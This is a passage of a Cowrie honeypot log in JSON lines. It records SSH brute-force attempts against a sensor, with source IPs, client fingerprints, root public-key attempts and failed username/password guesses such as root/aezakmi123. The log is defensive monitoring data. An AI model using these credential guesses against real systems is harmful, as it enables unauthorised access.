d25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:35.580523Z","src_ip":"107.150.105.153","session":"51b3a75323d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi123","message":"login attempt [root/aezakmi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:35.913295Z","src_ip":"107.150.105.153","session":"51b3a75323d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:36.994163Z","src_ip":"107.150.105.153","session":"51b3a75323d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":58002,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae3fc271f2a6","protocol":"ssh","message":"New connection: 104.243.38.174:58002 (10.17.0.5:22) [session: ae3fc271f2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.521436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.525545Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.532244Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:fc:17:24:6c:3f:c9:11:7c:a8:e6:72:29:dd:b1:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDabKgSpxdGCzCmt9xGlSfpjdE25Q3SBUxqmiErv/mw1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 09:fc:17:24:6c:3f:c9:11:7c:a8:e6:72:29:dd:b1:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.550297Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:fc:17:24:6c:3f:c9:11:7c:a8:e6:72:29:dd:b1:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDabKgSpxdGCzCmt9xGlSfpjdE25Q3SBUxqmiErv/mw1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.553819Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:16:7f:f1:24:22:f3:46:5c:08:9c:98:d0:5e:78:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtA1lyonQp/4k6Aq1VY/0+WdFhjHACJw2vALLBo/p38lCYcXgGod8iQii4AFjPGwrcIgP7pn7+27G0kHBub+1azxTBl4G8cP5jC9h7aQ70Y67GfP+oT1uYBgIrjVbUqsLbXiCXtUQ10Eeo/tWc1usTQoObkmrsYDVZ5qa3hIxJh/uPUKxGX1MqB0qFHC85Y54YfLOTZyseXmCb6c1coi1koS18xtUIKWfJ/4C+MNqHuIQ+9cECWyvxQtfyug0vPR+oZzXYoMU4henlq08he8EiDhM5IYJfeXNElVzG19FqMm7ns0qtXRY7fugLl+b9LiEi1vrX/MBNq0Ao+cIyMnhb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:16:7f:f1:24:22:f3:46:5c:08:9c:98:d0:5e:78:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.564129Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:16:7f:f1:24:22:f3:46:5c:08:9c:98:d0:5e:78:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtA1lyonQp/4k6Aq1VY/0+WdFhjHACJw2vALLBo/p38lCYcXgGod8iQii4AFjPGwrcIgP7pn7+27G0kHBub+1azxTBl4G8cP5jC9h7aQ70Y67GfP+oT1uYBgIrjVbUqsLbXiCXtUQ10Eeo/tWc1usTQoObkmrsYDVZ5qa3hIxJh/uPUKxGX1MqB0qFHC85Y54YfLOTZyseXmCb6c1coi1koS18xtUIKWfJ/4C+MNqHuIQ+9cECWyvxQtfyug0vPR+oZzXYoMU4henlq08he8EiDhM5IYJfeXNElVzG19FqMm7ns0qtXRY7fugLl+b9LiEi1vrX/MBNq0Ao+cIyMnhb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.568189Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:a8:b5:a2:75:02:03:e7:dc:12:4a:ad:10:3a:c0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKSN3nrReGV0TR7mVk06ceBdNQ8xSrT7oPZAtDoCwpJPW+ig/VdAJmBchchif6NyRl8PyMkEfhn2v+TsdvAWeQinTyAjRLrQcaW5yN9kmlr+Fq5CB9ZQg2oym1gdC+CUIASVBpLMi32mSALLaYe93FCM/EhKZ9WXSS6byZDXjLgJ7eE362wamvjfggzMzzAvSAp6NTwUOHcXh29M1vgkN9V/DrzDIImZUQEmhh8QWZpt8KEI23oNQhLNn2CBtIUqaTtQAh7k+BIWzbE+Zs06WJ1YXPhzTs86ApLNB7hU8bWC/J41AzeRDaw0ZNmft7T4/gsLbem74beRnMSHFEOLgtXL15MShxGY0Jucz3thfE6Utzwk3vsrT60porDfE5fJIgX8ei0bcUJ6Rva9T76q1xmSNvJIoirbP/BI/J592L1RiuNMH5g09Wa1Jb3c1iSA+xHZVlPna+bCqPrLjpRYduChc1i23VdGgQQBavN8Dk8XbHfmK9cKT+S9N3hbYAas0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:a8:b5:a2:75:02:03:e7:dc:12:4a:ad:10:3a:c0:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.576530Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:a8:b5:a2:75:02:03:e7:dc:12:4a:ad:10:3a:c0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKSN3nrReGV0TR7mVk06ceBdNQ8xSrT7oPZAtDoCwpJPW+ig/VdAJmBchchif6NyRl8PyMkEfhn2v+TsdvAWeQinTyAjRLrQcaW5yN9kmlr+Fq5CB9ZQg2oym1gdC+CUIASVBpLMi32mSALLaYe93FCM/EhKZ9WXSS6byZDXjLgJ7eE362wamvjfggzMzzAvSAp6NTwUOHcXh29M1vgkN9V/DrzDIImZUQEmhh8QWZpt8KEI23oNQhLNn2CBtIUqaTtQAh7k+BIWzbE+Zs06WJ1YXPhzTs86ApLNB7hU8bWC/J41AzeRDaw0ZNmft7T4/gsLbem74beRnMSHFEOLgtXL15MShxGY0Jucz3thfE6Utzwk3vsrT60porDfE5fJIgX8ei0bcUJ6Rva9T76q1xmSNvJIoirbP/BI/J592L1RiuNMH5g09Wa1Jb3c1iSA+xHZVlPna+bCqPrLjpRYduChc1i23VdGgQQBavN8Dk8XbHfmK9cKT+S9N3hbYAas0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.579347Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:4c:21:31:06:7d:b6:7b:e2:8e:b1:f7:4f:38:51:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwuOTJl+i0qkWlhZtHgBG8zs8Kiej1S1f/Pg1/1M8Sx4SiaL5cgaYLE2aE52DxbDt2FiG+GetIdkxLrY1yQD3yEqZR1l3NiD6s81Qd8wnFpoKst5iadF8dul3ovAgIIsj8nTPNlDtXjvRRSuGBxuAPJCIOEJEQ75TWriFUVQ5WiPQDwx3WdkbF+8MJZ8v1gouNYL8PoHlIeoxkoMDETBaxcp257v4iShIrcXJRjh3ZhixDDx//wDtTfp9DrE56fsHT957lhfiNsFA0+dpj4qaM5ud7ZSdFqDt8EmtGak6VznbjTkHyESaZ7W6pZRLc+/PgFqntnSboVHcIJRuvl5kd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:4c:21:31:06:7d:b6:7b:e2:8e:b1:f7:4f:38:51:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.586779Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:4c:21:31:06:7d:b6:7b:e2:8e:b1:f7:4f:38:51:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwuOTJl+i0qkWlhZtHgBG8zs8Kiej1S1f/Pg1/1M8Sx4SiaL5cgaYLE2aE52DxbDt2FiG+GetIdkxLrY1yQD3yEqZR1l3NiD6s81Qd8wnFpoKst5iadF8dul3ovAgIIsj8nTPNlDtXjvRRSuGBxuAPJCIOEJEQ75TWriFUVQ5WiPQDwx3WdkbF+8MJZ8v1gouNYL8PoHlIeoxkoMDETBaxcp257v4iShIrcXJRjh3ZhixDDx//wDtTfp9DrE56fsHT957lhfiNsFA0+dpj4qaM5ud7ZSdFqDt8EmtGak6VznbjTkHyESaZ7W6pZRLc+/PgFqntnSboVHcIJRuvl5kd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.591240Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:1e:80:53:16:a9:90:1e:62:9b:c6:de:33:38:a0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyCSayqG8qiJi7XE4fuBWqwyzLuQc2zoDGJNGKRqOSA2yCuFapmT1PVXWMMyMrXmsgrka/xyosRjsyVjk6ZtZn0IkmDTk+h49gHHtgQWtpT5jghBK1HXKtrbu3ZrwP5fTVcF+gQnOeM3xcqXK/GImB0Wes7omN0pR9xpn4H8CBTOYp+HJoXhPi7fgiZzBrOCq6HRSimqBe98wMFBTWSzR/Qq297PMgTCOnOscRIcQ/ZvOBMdW8U2p7VfjRQ9yjTPEmJexM0gidSNJyzB+F3192tBgfPGbi82TxP0z3WvK5Ty2YYkDAv8JvKi4j6WuLx3q9osCjlO4UgZw3BekWwC1xQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:1e:80:53:16:a9:90:1e:62:9b:c6:de:33:38:a0:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.600679Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:1e:80:53:16:a9:90:1e:62:9b:c6:de:33:38:a0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyCSayqG8qiJi7XE4fuBWqwyzLuQc2zoDGJNGKRqOSA2yCuFapmT1PVXWMMyMrXmsgrka/xyosRjsyVjk6ZtZn0IkmDTk+h49gHHtgQWtpT5jghBK1HXKtrbu3ZrwP5fTVcF+gQnOeM3xcqXK/GImB0Wes7omN0pR9xpn4H8CBTOYp+HJoXhPi7fgiZzBrOCq6HRSimqBe98wMFBTWSzR/Qq297PMgTCOnOscRIcQ/ZvOBMdW8U2p7VfjRQ9yjTPEmJexM0gidSNJyzB+F3192tBgfPGbi82TxP0z3WvK5Ty2YYkDAv8JvKi4j6WuLx3q9osCjlO4UgZw3BekWwC1xQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.603708Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:01.616596Z","src_ip":"104.243.38.174","session":"ae3fc271f2a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":39676,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea734db752a","protocol":"ssh","message":"New connection: 192.163.244.125:39676 (10.17.0.5:22) [session: 1ea734db752a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:03.020936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:03.024784Z","src_ip":"192.163.244.125","session":"1ea734db752a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:03.103146Z","src_ip":"192.163.244.125","session":"1ea734db752a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celsius","password":"Cr@zy#P@ss!W0rd00","message":"login attempt [celsius/Cr@zy#P@ss!W0rd00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:03.340744Z","src_ip":"192.163.244.125","session":"1ea734db752a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.961950302124023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:04.351255Z","src_ip":"107.6.151.170","session":"2697d3ecb2a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59632,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c950fcf3ea","protocol":"ssh","message":"New connection: 91.92.40.176:59632 (10.17.0.5:22) [session: f8c950fcf3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:06.028490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:06.032090Z","src_ip":"91.92.40.176","session":"f8c950fcf3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:06.112223Z","src_ip":"91.92.40.176","session":"f8c950fcf3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:06.358913Z","src_ip":"91.92.40.176","session":"f8c950fcf3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":39572,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ef95cf8885","protocol":"ssh","message":"New connection: 193.37.70.224:39572 (10.17.0.5:22) [session: 68ef95cf8885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:07.313997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:07.317322Z","src_ip":"193.37.70.224","session":"68ef95cf8885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:07.406185Z","src_ip":"193.37.70.224","session":"68ef95cf8885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:07.443710Z","src_ip":"91.92.40.176","session":"f8c950fcf3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"031282","message":"login attempt [root/031282] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:07.674050Z","src_ip":"193.37.70.224","session":"68ef95cf8885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:08.766250Z","src_ip":"193.37.70.224","session":"68ef95cf8885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.61","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"22df6d822d35","protocol":"ssh","message":"New connection: 78.111.67.61:59524 (10.17.0.5:22) [session: 22df6d822d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:12.495572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:12.499315Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.